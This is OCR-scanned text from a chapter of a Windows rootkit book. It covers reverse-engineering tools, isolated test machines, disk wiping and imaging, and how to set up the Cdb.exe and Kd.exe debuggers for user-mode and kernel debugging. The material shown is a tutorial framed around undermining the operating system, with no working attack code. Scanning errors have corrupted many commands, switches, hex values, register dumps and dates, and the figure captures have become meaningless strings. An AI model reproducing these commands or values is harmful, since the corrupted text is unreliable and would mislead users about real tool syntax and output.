When you're given a raw executable, in the absence of source code, you can use diagnostic tools to infer what the application is doing. If you'd like to take matters a step further, and increase your level of granularity, you can resort to reverse-engineering tools. Rather than look at the effect that an executable has on its surroundings (which is what most diagnostic tools do), reverse engineering tools zoom in on the composition of the executable itself. For the intents of this book (i.e., undermining the operating system), kernelmode debuggers are the tool of choice. 5 As far as Windows is concerned, I use Kd. exe; though windgb. exe is an equally serviceable tool. Kernel-mode debuggers can disassemble key system routines, interpret the contents of memory, and allow kernel objects to be manipulated (all in real time). I'll devote a significant amount of bandwidth to Kd. exe in the next section.
If analyzing run-time behavior isn't a prerequisite, and you don't mind working in a static environment, you can always opt to disassemble with a tool like IDA Pro. 6 Disassemblers deal principally with inert files rather than live memory images. IDA Pro is sold by a company from Belgium that offers a free evaluation version.
Microsoft tools like dumpbin. exe can also be used to disassemble, ghettostyle. For example, by invoking dumpbin . exe with the / disasm we can see what the code sections of an executable look like:
c:\> dumpbin.exe /disasm MyApp.exe
As the old saying goes, ultimately everything ends up as Is and Os. To view an executable in its raw binary form, a basic hex editor should do the trick. This is reverse engineering in the extreme case. I've known software engineers from Control Data who claimed they could read hex dumps fluently. Personally, I like the Cygnus hex editor from SoftCircuits.1 Though I'll admit, most of the times that I've used a hex editor it's been to patch a binary rather than reverse engineer it.
144
Port I
Air-gap security means that you've disconnected your machine from the
network and physically quarantined it such that moving data on or off the machine requires you to copy it to physical media. This is also referred to as a sneakernet paradigm because moving data around requires the user to copy the data to a disk, put on a pair of sneakers, and run down the hall to whoever needs the data. Some of the more pathological malware out there will unpack itself and go to work the minute you double-click it. So, for Pete's sake, perform all testing on an isolated machine. If you're not 100% certain what a malware application does, you can't necessarily be sure that you've gotten rid of it. Once the operating system has been compromised, you can't trust it to tell you the truth. It's like a secret agent who, after prolonged exposure, has been turned by the enemy and is now feeding you dis information. Once more, even offline forensic analysis isn't guaranteed to catch everything. The only way to be absolutely sure that you're gotten rid of the malware is to scrub your disk and then reinstall from scratch. To guard against the especially pernicious group of cooties that try to embed themselves in peripheral devices or the BIOS, you might also want to consider flashing everything with the latest firmware packages. This underscores my view on software that touts itself as a cure, claiming to remove rootkits. Most of the time someone is trying to sell you snake oil. I don't like these packages because I feel like they offer a false sense of security. Don't ever gamble with the stability or security of your system. Ifyou've been rooted, you need to rebuild, patch, and flash the firmware. Yes, it's painful and tedious, but it's the only true way to re-establish a trusted environment. There is no easy, sweet-sounding answer. One reason why certain security tools sell so well is that they allow people to believe that they can avoid facing this awful truth.
Port I 1145
With regard to sanitizing a hard drive, I use Darik's Boot and Nuke utility (DBAN).8 DBAN is a self-contained bootable environment that can be installed on a floppy disk, CD, or flash drive. DBAN is one of those fire-and-forget tools. It's capable of automatically, and completely, deleting the contents of any hard disk it detects. Rebuilding can be a time-intensive undertaking. One way to speed up the process is to create an image of your machine's disk when it's in pristine condition. This can turn an eight-hour rebuild into a ten-minute waiting period. If you have a budget, I'd recommend buying a copy of Norton Ghost. 9 Otherwise, you can opt for free alternatives. If you're feeling masochistic you can give the Windows Automated Installation Kit (WAlK) a try. Though, be prepared for a nice long wait because the kit is distributed as a 900 MB ISO image. The WAlK is also probably overkill for your needs. Linux users might also be tempted to chime in that you can create disk images using the dd command. For example, the following command creates a forensic duplicate of the / dey / sda3 serial ATA and archives it as a file named SysDri ve. img:
dd if=/dev/sda3 of=/media/drive2/SysDrive.img conv=notrunc,noerror,sync 8990540+0 records in 8990540+0 records out 4693l5648a bytes (4.2 GB) copied, 8la.828 seconds
The problem with this approach is that it's slow. Very, very, slow. The resulting disk image is a low-level reproduction that doesn't distinguish between used and unused sectors. Everything on the original is simply copied over, block by block. The solution that I use for disk imagining is PINGIO (Partimage Is Not Ghost). PING is basically a live Linux CD with built-in network support that relies on a set of open source disk cloning tools. The interface is friendly and fairly self-evident. If you can't afford a commercial solution, like Ghost, this is a tenable alternative .
146
Port I
> Nole:
Regardless of which disk imaging solution you choose, I would urge you to consider using a network setup where the client machine receives its image from a network server. Though this might sound like a lot of hassle, it can easily cut your imaging time in half. My own experience has shown that imaging over gigabit Ethernet can be faster than both optical media and external drives . This is one of those things that seems counterintuitive at the outset but proves to be a genuine timesaver.
Tool Roundup
For your edification, Table 4-1 summarizes the various tools that I've collected during my foray into rootkits. It's a mishmash of open source and proprietary tools. All of them are free and can be downloaded off the Internet. I have no religious agenda here (ahem), just a desire to get the job done. Though there may be crossover in terms of functionality, each kit tends to offer at least one feature that the others do not. For example, you can build user-mode apps with both the Windows SDK and Visual Studio Express. However, Visual Studio Express doesn't ship with Windows API documentation and the Windows SDK doesn't come with the C/C+ + language reference.
Table 4-1 Tool WDK Windows SDK VC + + Express 2003 DDK Sysinternals Primary Role Kernel-mode development User-mode development Integrated environment 16-bit, real-mode tools Diagnostic tool suite Reverse engineering Reverse engineering Patching binary files Disk scrubbing Disk imaging Primitive reverse engineering Older versions include source code Used to troubleshoot drivers Notable Tools/Additio nal F eatures Kernel API reference, drivers. exe Windows API docs, RC, dumpbin . exe CIC + + language and CRT references
PorI I 1147
4.2 Debuggers
When it comes to implementing a rootkit on Windows, debuggers are such essential tools that they deserve special attention. First and foremost, this is because Windows is a proprietary operating system. In the Windows Driver Kit it's fairly common to come across data structures and routines that are either partially documented or not documented at all. To see what I'm talking about, consider the declaration for the PsGet CurrentPr ocess () kernel-mode routine:
EPROCESS PsGetCurrentProcess ()j
The WDK online help states that this routine "returns a pointer to an opaque process object." That's it, the EPROC ESS object is opaque; Microsoft doesn't say anything else. On a platform like Linux, you can at least read the source code. With Windows, to find out more you'll need to crank up a kernel-mode debugger and sift through the contents of memory. We'll do this several times over the next few chapters. The closed-source nature of Windows is one reason why taking the time to learn Intel assembler language and knowing how to use a debugger is a wise investment. The underlying tricks used to hide a rootkit come and go. But when push comes to shove, you can always disassemble to find a new trick. It's not painless but it works. The second reason why debuggers are useful is that printf () statements can only take you so far with respect to troubleshooting. This doesn't mean that you shouldn't include tracing statements in your code; it's just that sometimes they're not enough. In the case of kernel-mode code (where the venerable pri ntf() function is supplanted by DbgPri nt ( , debugging through print statements it often not sufficient because certain types of errors result in system crashes, making it very difficult for the operating system to stream anything to the debugger's console. The first time I tried to set up two machines to perform kernel-mode debugging, I had a heck of a time. I couldn't get the two computers to communicate and the debugger constantly complained that my symbols were out of date. I nearly threw up my arms and quit (which is not an uncommon response). This brings us to the third reason why I've dedicated an entire section to debuggers: To spare readers the grief that I suffered through while getting a kernel-mode debugger to work.
148 I PorI I
Aside
Microsoft does, in fact, give other organizations access to its source code; it's just that the process occurs under tightly controlled circumstances. Specifically, I'm speaking of Microsoft's Shared Source Initiative,11 which is a broad term referring to a number of programs where Microsoft allows OEMs, governments, and system integrators to view the source code to Windows. Individuals who qualify are issued smart cards and provided with online access to the source code via Microsoft's Code Center Premium SSL-secured web site.
The Windows Debugging Tools package ships with four different debuggers: The Microsoft Console Debugger (db. exe) The NT Symbolic Debugger (Ntsd. exe) The Microsoft Kernel Debugger (Kd . exe) The Microsoft Windows Debugger (WinDbg. exe)
These tools can be classified in terms of the user interface they provide and the sort of programs they can debug (see Table 4-2). Both (db. exe and Ntsd. exe debug user -mode applications and are run from text-based command consoles. The only perceptible difference between the two debuggers is that Ntsd .exe launches a new console window when it's invoked. You can get the same behavior from (db. exe by executing the following command:
C:\>start cdb.exe (command-line parameters)
The Kd. exe debugger is the kernel mode analog to (db. exe. The WinDbg. exe debugger is an all-purpose tool. It can do anything that the other debuggers can do, not to mention that it has a modest GUI thatallows you to view several different aspects of a debugging session simultaneously.
Table 42
GUI debuggers
In this section, I'm going to start with an abbreviated user's guide for
(db. exe. This will serve as a lightweight warmup for Kd . exe and allow me to
11 http j/www.microsoft.com/resources/sharedsource/default.mspx
Port I 1149
introduce a subset of basic debugger commands before taking the plunge into full-blown kernel debugging (which requires a bit more setup). After I've covered Cdb. exe and Kd. exe, you should be able to figure out WinDbg. exe on your own without much fanfare .
>
No.e: If you have access to source code and you're debugging a user-mode application, you'd probably be better off using the integrated debugger that ships with Visual Studio. User-mode debuggers like Cdb.exe or WinDbg.exe are more useful when you're peeking at the internals of a proprietary executable .
Configuring Cdb.exe
Preparing to run Cdb . exe involves two steps: Establishing a debugging environment Acquiring the necessary symbol files
The debugging environment consists of a handful of environmental variables. The following three variables are particularly useful:
_NT_SOURCE]ATH
The path to the target binary's source code files The path to the root node of the symbol file directory tree Specifies a log file used to record the debugging session
_NT_SYMBOL_PATH
_NT_DEBUG_LOGJILE_OPEN
The first two path variables can include multiple directories separated by semicolons. If you don't have access to source code, you can simply neglect the _NT_SOURCE_PATH variable. The symbol path, however, is a necessity. If you specify a log file that already exists with the _NT_DEBUG_LOG_FILE_OPEN variable, the existing file will be overwritten. Many environmental parameters specify information that can be fed to the debugger on the command line. This is a preferable approach if you wish to decouple the debugger from the shell that it runs under.
Symbol Files
Symbol files are used to store the programmatic metadata of an application. This metadata is archived according to a binary specification known as the program database format. If the development tools are configured to generate
150
Part I
symbol files , each executable/DLUdriver will have an associated symbol file with the same name as its binary, and will be assigned the .pdb file extension. For instance, if I compiled a program named MyWinApp. exe, the symbol file would be named MyWinApp . pdb. Symbol files contain two types of metadata: Public symbol information Private symbol information
Public symbol information includes the names and addresses of an application's functions. It also includes a description of each global variable (i.e., name, address, and data type), compound data type, and class defined in the source code. Private symbol information describes less visible program elements like local variables, and facilitates the mapping of source code lines to machine instructions.
Afull symbol file contains both public and private symbol information. A stripped symbol file contains only public symbol information. Raw binaries (in
the absence of an accompanying .pdb file) will often have public symbol information embedded in them. These are known as exported symbols. You can use the Symchk. exe command (which ships with the Debugging Tools for Windows) to see if a symbol file contains private symbol information:
C:\>symchk Ir C:\MyWinApp\Debug\MyWinApp .exe Is C:\MyWinApp\Debug Ips SYMCHK: MyWinApp.exe FAILED - MyWinApp.pdb is not stripped.
The Ir switch identifies the executable whose symbol file we want to check. The I s switch specifies the path to the directory containing the symbol file . The Ips option indicates that we want to determine if the symbol file has been stripped. In the case above, MyWinApp. pdb has not been stripped and still contains private symbol information.
Windows Symbols
Microsoft allows the public to download its OS symbol files for free. 12 These files help you to follow the path of execution, with a debugger, when program control takes you into a Windows module. If you visit the web site, you'll see that these symbol files are listed by processor type (x86, Itanium, and x64) and by build type (Retail and Checked).
12
http://www.microsoft.comlwhdcldevtoolsldebugginglsymbolpkg.mspx
Port I 1151
Retail symbols (also referred to asfree symbols ) are the symbols corresponding to the Free Build of Windows. The Free Build is the release of Windows compiled with full optimization. In the Free Build, debugging assets (e.g., error checking and argument verification) have been disabled and a certain amount of symbol information has been stripped away. Most people who buy Windows end up with the Free Build. Think retail, as in "retail store. "
Checked symbols are the symbols associated with the Checked Build of Windows. The Checked Build binaries are larger than the Free Build's. In the Checked Build, optimization has been precluded in the interest of enabled debugging assets. This version of Windows is used by people writing device drivers because it contains extra code and symbols that ease the development process.
Aside
My own experience with Windows symbol packages was frustrating. I'd go to Microsoft's web site, spend a couple of hours downloading a 200 MB install executable, and then wait another 30 minutes while the symbols installed ... only to find out that the symbols were out of date (the Window's kernel debugger complained about this a lot). What I discovered is that relying on the official symbol packages is a lost cause. They constantly lag behind the onslaught of updates and hot fixes that Microsoft distributes via Windows Update. To stay current, you need to go directly to the source and point your debugger to Microsoft's online symbol server. This way you'll get the most recent symbol information. To use Microsoft's symbol server, set your _NT_SYMBOL_PATH to the following: 13
symsrv*symsrv.dll*< LocalPath>*http://msdl.microsoft.com/download/symbols
Where the <LocalPath> string is a symbol path root on your local machine. I tend to use something like c: \windows\symbols or c: \symbols.
13 Microsoft Corporation, "Use the Microsoft Symbol Server to obtain debug symbol fi les," Knowledge Base Article 311503, August 2, 2006.
152
Part I
Invoking Cdb.exe
There are three ways in which (db. exe can debug a user-mode application:
(db. exe launches the application. (db. exe attaches itself to a process that's already running. (db. exe targets a process for noninvasive debugging.
The method you choose will determine how you invoke (db. exe on the command line. For example, to launch an application for debugging you'd invoke (db. exe as follows :
cdb.exe FileName.exe
You can attach the debugger to a process that's already running using either the - p or - pn switch:
cdb.exe -p ProcessID cdb.exe -pn FileName.exe
You can noninvasively examine a process that's already running by adding the -pv switch:
cdb.exe -pv -p ProcessID cdb.exe -pv -pn FileName.exe
Noninvasive debugging allows the debugger to "look without touching." In other words, the state of the running process can be observed without affecting it. Specifically, the targeted process is frozen in a state of suspended animation, giving the debugger read-only access to its machine context (e.g., the contents of registers, memory, etc.). As mentioned earlier, there are a number of command-line options that can be fed to (db. exe as a substitute for setting up environmental variables:
-logo logFile -y Symbol Path -srcpath SourcePath
The following is a batch file template that can be used to invoke (db. exe. It uses a combination of environmental variables and command-line options to launch an application for debugging:
setlocal set PATH=%PATH%;C:\Program Files\Debugging Tools for Windows set LOG_PATH=-logo . \DBG_LOG. txt set DBG_OPTS=-v set SYMS=-y symsrv*symsrv.dll*.\*http://msdl.microsoft.com/download/symbols set SRC_PATH=-srcpath . \
Port I 1153
Controlling Cdb.exe
Debuggers use special instructions called breakpoints to temporarily suspend the execution of the process under observation. One way to insert a breakpoint into a program is at compile time with the following statement:
{
int
0x3j
This tactic is awkward because inserting additional breakpoints or deleting existing breakpoints requires traversing the build cycle. It's much easier to manage breakpoints dynamically while the debugger is running. Table 4-3 lists a couple of frequently used commands for manipulating breakpoints under (db. exe.
Table 4-3 Command
bl be breakPointID bp funetionName bp
D escrlpllOn list the existing breakpoints (they'll have numeric IDs). Delete the specified breakpoint (using its numeric ID). Set a breakpoint at the first byte of the specified routine. Set a breakpoint at the location currently indicated by the IP register.
When (db. exe launches an application for debugging, two breakpoints are automatically inserted. The first suspends execution just after the application's image (and its statically linked DLLs) has loaded. The second breakpoint suspends execution just after the process being debugged terminates. The (db. exe debugger can be configured to ignore these breakpoints using the -g and -G command-line switches, respectively. Once a breakpoint has been reached and you've had the chance to poke around a bit, the commands in Table 4-4 can be utilized to determine how the targeted process will resume execution. If the (db . exe ever hangs or becomes unresponsive, you can always yank open the emergency escape hatch ("abruptly" exit the debugger) by pressing the Ctrl + B key combination followed by the Enter key.
1541 Port I
D esmptlon (go) Execute until the next breakpoint. (trace) Execute the next instruction (step into a function call). (step) Execute the next instruction (step over a function call). (go up) Execute until the current function returns. (quit) Exit (db. exe and terminate the program being debugged.
gu
q
moduleName ! Symbol
This specifies a particular symbol within a given module. You can use wildcards in both the module name and symbol name to refer to a range of possible symbols. Think of this command's argument as a filtering mechanism. The examine symbols command lists all of the symbols that match the filter expression (see Table 4-5).
Table 4-5 C ommand
x moduleName!Symbol x *! x moduleName! * x moduleName!arg*
D esmptlon Rep0rlthe address of the given symbol (if it eXists). list all of the modules currently loaded. list all of the symbols and their addresses in the specified module. list all of the symbols that match the ' org*' wildcard filter.
PorI I 1155
= <no
type information>
module name (pdb symbols) mspaint MFC42u (pdb symbols) ooBC32 (pdb symbols) C<KTL32 (pdb symbols) RPCRT4 (pdb symbols) (export symbols) NS1 GOI32 (pdb symbols) kerne132 (pdb symbols) iertutil (pdb symbols) 1,..,.,32 (export symbols) OLEAUT32 (pdb symbols) W1N1NET (export symbols) MSCTF (pdb symbols) (export symbols) ole32 MNAPI32 (pdb symbols) SHELL32 (export symbols) msvcrt (pdb symbols) USER32 (pdb symbols) ntdll (pdb symbols) WS2_32 (export symbols ) SHLWAP1 (export symbols) CCM>LG32 (export symbols) Normaliz (export symbols)
Normaliz! * Normali z!1dnToAscii = <no type information> Normaliz!1dnToNameprepUnicode = <no type information> Normaliz!1dnToUnicode = <no type information> Normaliz!1sNormalizedString = <no type information> Normali z!NormalizeString = <no type information> Normaliz!1dn* Normaliz!1dnToAscii = <no type information> Normaliz!1dnToNameprepUnicode = <no type information> Normali z!1dnToUnicode = <no type information>
Looking at the previous output, you might notice that the symbols within a particular module are marked as indicating <no t ype i nformation> . In other words, the debugger cannot tell you if the symbol is a function or a variable.
156
ParI I
The ! 1mi extension command accepts that name, or base address, of a module as an argument and displays information about the module. Typically, you'll run the 1m command to enumerate the modules currently loaded and then run the ! 1mi command to find out more about a particular module.
9:000> !lmi ntdll Loaded Module Info: Module: Base Address: Image Name: Machine Type: Time Stamp: Size: CheckSum: Characteristics: [ntdll] ntdll 7797eaee ntdll .dll 332 (1386) 4791a7a6 Fri Jan 18 23:32:54 2998 127000 135d86 2192 perf
Part I 1157
The verbose version of the list loaded modules command offers the same sort of extended information as ! Imi.
0:00e> 1m v start end ooe4OOOO ooebaooe Image path: Image name: Timestamp: CheckSum: ImageSize: File version: Product version: File flags: File OS: File type: File date: Translations: CompanyName: ProductName: InternalName: OriginalFilename: module name mspaint (deferred) mspaint.exe mspaint.exe Fri Jan 18 21:46:21 2008 (47918EAD) ooe82A86 ooe7Aooe 6.0. 6aa1.18ooe 6.0.6aa1.1800e o (Mask 3F) 40aa4 NT Win32 1.0 App
aaaaaooe. aaaaaooe
0409. 04ba Microsoft Corporation Microsoft Windows Operating System MSPAINT MSPAINT.EXE
1581 Part I
Desmptlon Disassemble eight instructions starting at the current address. Disassemble eight instructions starting at the specified linear address. Disassemble memory residing in the specified address range. Disassemble the specified routine.
The first version, which is invoked without any arguments, disassembles memory starting at the current address (i_e., the current value in the EIP register) and continues onward for eight instructions (on the IA-32 platform). You can specify a starting linear address explicitly, or an address range_ The address can be a numeric literal or a symbol.
0:aee> u ntdll!NtOpenFile ntdll!NtOpenFile: 772d87e8 b8baeeeeee mov 772d87ed baaee3fe7f mov 772d87f2 ff12 call 772d87f4 c21800 ret 772d87f7 90 nop ntdll!ZwOpenloCompletion: mov 772d87f8 b8bb0a0800 772d87fd baaee3fe7f mov 772d8802 ff12 call
In the previous instance, the NtOpenFile routine consists offewer than eight instructions. The debugger simply forges ahead, disassembling the code that follows the routine. The debugger indicates which routine this code belongs to (ZWOpenIoCompletion).
If you know that a symbol or a particular address represents the starting point of a function, you can use the unassemble function command (uf) to examine its implementation.
0:aee> uf ntdll!NtOpenFile ntdll!NtOpenFile: 772d87e8 b8baeeeaae mov 772d87ed baaee3fe7f mov 772d87f2 ff12 call 772d87f4 c21800 ret
PorI I 1159
typically dump memory starting where the last display command left off (or at the current value of the EIP register, if a previous display command hasn't been issued) and continue for some default length. The following examples demonstrate different forms that the addressRange argument can take:
dd //Display 32 DWORD values starting at the current address dd 772c8192 //Display 32 DWORD values starting at 0x772c8192 dd 772c8192 772c8212 //Display 33 DWORDs in the range [0x772c8192, 772c8212] dd 772c807e L21 //Display the 0x21 DWORDS starting at address 0x772c807e
The last range format uses an initial address and an object count prefixed by the letter "r.:'. The size of the object in an object count depends upon the units of measure being used by the command. Note also how the object count is specified using hexadecimal. If you ever run into a call table (a contiguous array of function pointers), you can resolve its addresses to the routines that they point to with the dps command. In the following example, this command is used to dump the Import Address Table (IAT) of the advapi32. dlllibrary in the mspaint. exe program. The IAT is a call table used to specify the addresses of the routines imported by an application. We'll see the IAT again in the next chapter.
0:000> dps 301000 LS 00301000 763f62d7 ADVAPI32!DecryptFileW 00301094 763f6288 ADVAPI32!EncryptFileW 00301008 763cf429 ADVAPI32!RegCloseKey 0030100c 763cf79f ADVAPI32!RegQueryValueExW 00301010 763cfe9d ADVAPI32!RegOpenKeyExW
Tobie 47
Command
db addressRange dW addressRange dd address Range dps addressRange dg start End
Desmpllon Display byte values both in hex and ASCII (default count is 128). Display word values both in hex and ASCII (default count is 64). Display double-word values (default count is 32). Display and resolve a pointer table (default count is 128) . Display the segment descriptors for the given range of selectors.
If you ever need to convert a value from hexadecimal to binary or decimal, you can use the show number formats meta-command.
0:000> .formats Sa4d Evaluate expression : Hex: eee0Sa4d Decimal: 23117 Octal: eeeeeeSSllS
160
Part I
aaaaaeee aaaaaeee 01011010 01001101 .. ZM Wed Dec 31 22:25:17 1969 low 3.23938e-e41 high 0 1.14213e-319
> Nole:
The IA-32 platform adheres to a litt/e-endian architecture . The least significant byte of a multi-byte value will always reside at the lowest address. Memory
OxCAFEBABE
I
OxBE OxBA OxFE OxCA
Figure 4-1
a a+l a+2 a+3
J
Registers Command (r)
This is the old faithful of debugger commands. Invoked by itself, it displays the general-purpose (i.e., non-floating-point) registers.
0:eee> r eax=aaaaaeee ebx=aaaaaeee ecx=0e13f444 edx=772d9a94 esi=fffffffe edi=772db6f8 nv up ei pI zr na pe nc eip=772c7dfe esp=0013f45c ebp=0013f48c iopl=0 cs=00lb ss=0e23 ds=0023 es=0e23 fs=003b gs=eeee efl=eeeee246
Port I 1161
One of the primary features of a kernel debugger is that it allows you suspend and manipulate the state of the entire system (not just a single user-mode application). The caveat associated with this feature is that performing an interactive kernel debugging session requires the debugger to reside on another machine. This makes sense: If the debugger was running on the system being debugged, the minute you hit a breakpoint the kernel debugger would be frozen along with the rest of the system and you'd be stuck! To properly control a system you need a frame of reference that lies outside of the system. In the typical kernel debugging scenario, there'll be a kernel debugger running on one computer (referred to as the host machine) that's interacting with the execution paths of another computer called the target
machine.
Host M achine Target M achine
Kernel Debugger
Figure 4-2
Despite the depth of insight that the host-target configuration yields, it can be inconvenient to have to set up two machines to see what's going on. This leads us to the other methods, both of which can be utilized with only a single machine. If you have only one machine at your disposal, and you're willing to sacrifice a certain degree of interactivity, these are viable alternatives.
Local kernel debugging is a hobbled form of kernel debugging that was introduced with Windows XP. Local kernel debugging is somewhat passive. While it allows memory to be read and written to, there are a number of other
162
Pori I
fundamental operations that are disabled. For example, all of the kernel debugger's breakpoint commands (set breakpoint, clear breakpoint, list breakpoints, etc.) and execution control commands (go, trace, step, step up, etc.) don't function. In addition, register display commands and stack trace commands are also inoperative. Microsoft's documentation best summarizes the limitations of local kernel debugging:
"One of the most difficult aspects of local kernel debugging is that the machine state is constantly changing. Memory is paged in and out, the active process constantly changes, and virtual address contexts do not remain constant. However, under these conditions, you can effectively analyze things that change slowly, such as certain device states. Kernel-mode drivers and the Windows operating system frequently send messages to the kernel debugger by using DbgPrint and related functions. These messages are not automatically displayed during local kernel debugging. "
>
Note: There's a tool from Sysinternals call ed Li veKd . exe that emulates a local kernel debugging session by taking a moving snapshot (via a dump file) of the system's state. Beca use the resulting dump file is created while the system is still runn ing, the snapshot may represent an amalgam of seve ra I states .
In light of these limitations, I won't discuss local kernel debugging in this book. Target-host debugging affords a much higher degree of control and accuracy.
A crash dump is a snapshot of a machine's state that's persisted as a binary file. Windows can be configured to create a crash dump file in the event of a bug check, and a crash dump can also be generated on demand. The amount of information contained in a crash dump file can vary, depending upon how the process of creation is implemented. The Kd . exe debugger can open a dump file and examine the state of the machine as if it were attached to a target machine. As with local kernel debugging, the caveat is that Kd . exe doesn't offer the same degree of versatility when working with crash dumps. While using dump files is less complicated, you don't have access to all of the commands that you normally would (e.g., breakpoint management and execution control commands).
Port I 1163
Finally, if you have the requisite software, and enough CPU horsepower, you can try to have your cake and eat it too by creating the target machine on the host computer with virtual machine technology. The host machine and target machine communicate locally over a named pipe. With this approach you get the flexibility of the two-machine approach on a single machine. Based on my own experience, I've noticed issues related to stability and performance with this setup and have opted not to pursue it in this book.
Configuring Kd.exe
Getting a host-target setup working can be a challenge. Both hardware and software components must be functioning properly. This is the gauntlet, so to speak. If you can get the machines running properly you're home free.
Both USB 2.0 and IEEE 1394 are much faster options than the traditional null modem, and this can mean something when you're transferring a 3 GB core dump during a debug session. However, these newer options are also much more complicated to set up and can hit you in the wallet (the last time I checked, PLX Technologies manufactures a USB 2.0 debug cable that sells for $83). Hence, I decided to stick with the least-common denominator, a technology that has existed since the prehistoric days of the mainframe: the null modem cable. Null modem cables have been around so long that I felt pretty safe that they would work (if anything would). They're cheap, readily available, and darn near every machine has a serial port. A null modem cable is just a run-of-the-mill RS-232 serial cable that has had its transmit and receive lines cross linked so that one guy's send is the other guy's receive (and vice-versa). It looks like any other serial cable with the exception that both ends are female (see Figure 4-3). Before you link up your machines with a null modem cable, you might want to reboot and check your BIOS to verify that your COM ports are enabled. You should also open up the Device Manager snap-in (devmgmt. msc) to ensure that Windows recognizes at least one COM port (see Figure 4-4).
164
Port I
Figure 4-3
a 0-. MoNger
f ile
=!:::ftfp
!iii
Action
~rw
'3!"I,,!i!,!!!!ff.W@j'Bg"
ECP Printer Port (LPn )
Figure 4-4
The Microsoft documents want you to use HyperTerminal to check your null modem connection_As an alternative to the officially sanctioned tool, I recommend using a free SSH client named PuTTY.14 PuTTY is a portable application; it requires no installation and has a small system footprint. Copy PuTTY. exe to both machines and double-click it to initiate execution. You'll be greeted by a configuration screen that displays a category tree. Select the Session node and choose "Serial" for the connection type. PuTTY will auto-detect the first active COM port, populating the Serial line and Speed fields (see Figure 4-5). On both of my machines, these values defaulted to COM! and 9600. Repeat this on the both machines and then press the Open button.
14 http://www.putty.orgl
Part I 1165
!D -Pum ConfiguratIon
Caego<)' 8 Seuoon
c= T~
6 \".Jndov.'
.'ope.",n'"
8eM""", T""",""""
[
Senalloe
COM !
:=J
to comecr. to
Soeed
'l6OO
i) ~
Bel Fem...es
Comecbon.",.
Baw
Sav~
I"'"
AI-.
~SH
SesSION
0". Proxy
SSH
I UM
Oase !.'ndo'N on ext
p;.ltfS
~
T..,..
f'Joon
SenaI
I: ::
.."'"
I
G
8>0<.<
Open
II
~...,.J
F igure 4-5
If fate smiles on you, this will launch a couple of telnet consoles (one on each machine) where the characters you type on the keyboard of one computer end up on the console of the other computer. Don't expect anything you type to be displayed on the machine that you're typing on, look over at the other machine to see the output. This behavior will signal that your serial connection is alive and well.
The first command enables kernel debugging during system bootstrap. The second command sets the global debugging parameters for the machine. Specifically, it causes the kernel debugging components on the target machine to use the COMI serial port with a baud rate of 19,200 bps. The third command
166
Part I
lists all of the settings in the boot configuration data file so that you can check your handiwork. That's it. That's all you need to do on the target machine. Shut it down for the time being until the host machine is ready. As with (db. exe, preparing Kd. exe for a debugging session on the host means: Establishing a debugging environment Acquiring the necessary symbol files
The debugging environment consists of a handful of environmental variables that can be set using a batch file. The following is a list of the more salient variables.
The serial port to communicate on with the target machine The baud rate at which to communicate (in bps) The path to the root of symbol file directory tree Specifies a log file to record the debugging session
_NT_SYMBDL]ATH
_NT_DEBUG_LOGJILE_OPEN
As before, it turns out that many of these environmental parameters specify information that can be fed to the debugger on the command line (which is the approach I tend to take). As I mentioned during my discussion of (db. exe, with regard to symbol files I strongly recommend setting your host machine to use Microsoft's symbol server (see Microsoft's Knowledge Base article 311503). Forget trying to use the downloadable symbol packages. If you've kept your target machine up to date with patches, the symbol file packages will almost always be out of date and your kernel debugger will raise a stink about it. I usually set the _NT_SYMBOL_PATH environmental variable to something like:
SRV*( : \mysymbols*http://msdl.microsoft.com/download/symbols
Port I 1167
Turn the target system off. Invoke the debugger (Kd . exe) on the host. Turn on the target system.
2. 3.
There are command-line options that can be fed to Kd. exe as a substitute for setting up environmental variables.
-logo logFile -y SymbolPath -k com : port=n, baud=m
The following is a batch file template that can be used to invoke Kd. exe. It employs a combination of environmental variables and command-line options to launch the kernel debugger:
@echo off REM [Set up environment] - ---------------------------------------------------ECHO [kdbg .bat]: Establish environment set SAVED_PATH=%PATH% set PATH=%PATH%;C:\Program Files\Debugging Tools for Windows setlocal set THIS_FILE=kdbg.bat REM [Set up debug command line] -- ---------------------------------------- -- -ECHO [%THIS_FILE%]: setting command-line options set DBG_DPTIONS=-n -v set DBG_LOGFILE=-logo .\DbgLogFile.txt set DBG_SYMBOLS=-y SRV*C:\Symbols*http://msdl.microsoft.com/download/symbols set DBG_CONNECT=-k com:port=coml,baud=1920e REM [Invoke Debugger]--------------------------------------------------------
REM [Restore Old Environment]------------- - ---------------------------------endlocal ECHO [%THIS_FILE%]: Restoring old environment set PATH= .... set PATH=%SAVED_PATH%
Once the batch file has been invoked, the host machine will sit and wait for the target machine to complete the connection.
168
Port I
Microsoft (R) Windows Debugger Version 6.8.0094.9 X86 Copyright (c) Microsoft Corporation. All rights reserved.
Opened \\. \com1
waiting to reconnect ..
If everything works as it should, the debugging session will begin and you'll see something like:
KDTARGET: Refreshing KD connection Connected to Windows 6991 x86 compatible target, ptr64 FALSE Kernel Debugger connection established. Symbol search path is: SRV*C:\Symbols*http://msdl.microsoft.com/download/symbols Executable search path is: Windows Kernel Version 6991 (Service Pack 1) MP (1 procs) Free x86 compatible Product: WinNt, suite: TerminalServer SingleUserTS Built by: 6991 .1saaa.x86fre.longhorn_rtm.asal18-1840 Kernel base = 9x8182caaa PsLoadedModuleList = 9x81939930 Debug session time: Sat May 17 98:99:54.139 2aas (GMT-7) System Uptime: 9 days 9:00:96.839 nvAdapter: Device Registry Path = \REGISTRY\MACHINE\SYSTEM\ControISet001\ Control\Class\{4D36E968-E325-11CE-BFCl-9SOO2BE19318}\aaa1'
As you can see, our old friend the breakpoint interrupt hasn't changed much since real mode. If you'd prefer that the kernel debugger automatically execute this initial breakpoint, you should invoke Kd. exe with the additional - b command-line switch. The Ctrl+C command keys can be used to cancel a debugger command once the debugger has become active. For example, let's say that you've mistakenly issued a command that's streaming a long list of output to the screen and you don't feel like waiting for the command to terminate before you move on. Ctrl+C can be used to halt the command and give you back a kernel debugger prompt.
Parf I 1169
After you've hit a breakpoint, you can control execution using the same set of commands that you used with (db. exe (e.g., go, trace, step, go up, and quit). The one command where things gets a little tricky is the quit command (q). If you execute the quit command from the host machine, the kernel debugger will exit, leaving the target machine frozen, just like Sleeping Beauty. To quit the kernel debugger without freezing the target, execute the following three commands:
kd> be * kd> g kd> <Ctrl+B><Enter>
